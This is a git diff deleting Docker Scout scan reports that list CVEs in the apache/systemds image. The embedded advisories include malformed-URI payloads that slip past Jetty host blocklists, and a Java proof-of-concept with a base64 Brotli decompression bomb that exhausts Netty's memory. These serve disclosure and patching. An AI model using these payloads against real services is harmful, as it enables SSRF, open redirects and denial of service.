- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
-medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output8.md b/docker/scout_results/multiple-high-CVEs/sysds_output8.md deleted file mode 100644 index bc79ce01f63..00000000000 --- a/docker/scout_results/multiple-high-CVEs/sysds_output8.md +++ /dev/null @@ -1,1741 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ...Storing image for indexing - ✓ Image stored for indexing - ...Indexing - ✓ Indexed 358 packages - ✗ Detected 23 vulnerable packages with a total of 43 vulnerabilities -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:1c5156c201cd2f53f3972f5b93fbfab724d5e33e3c3b2475b808c51a2ba1cb52
vulnerabilitiescritical: 1 high: 10 medium: 29 low: 7 unspecified: 1
platformlinux/amd64
size388 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
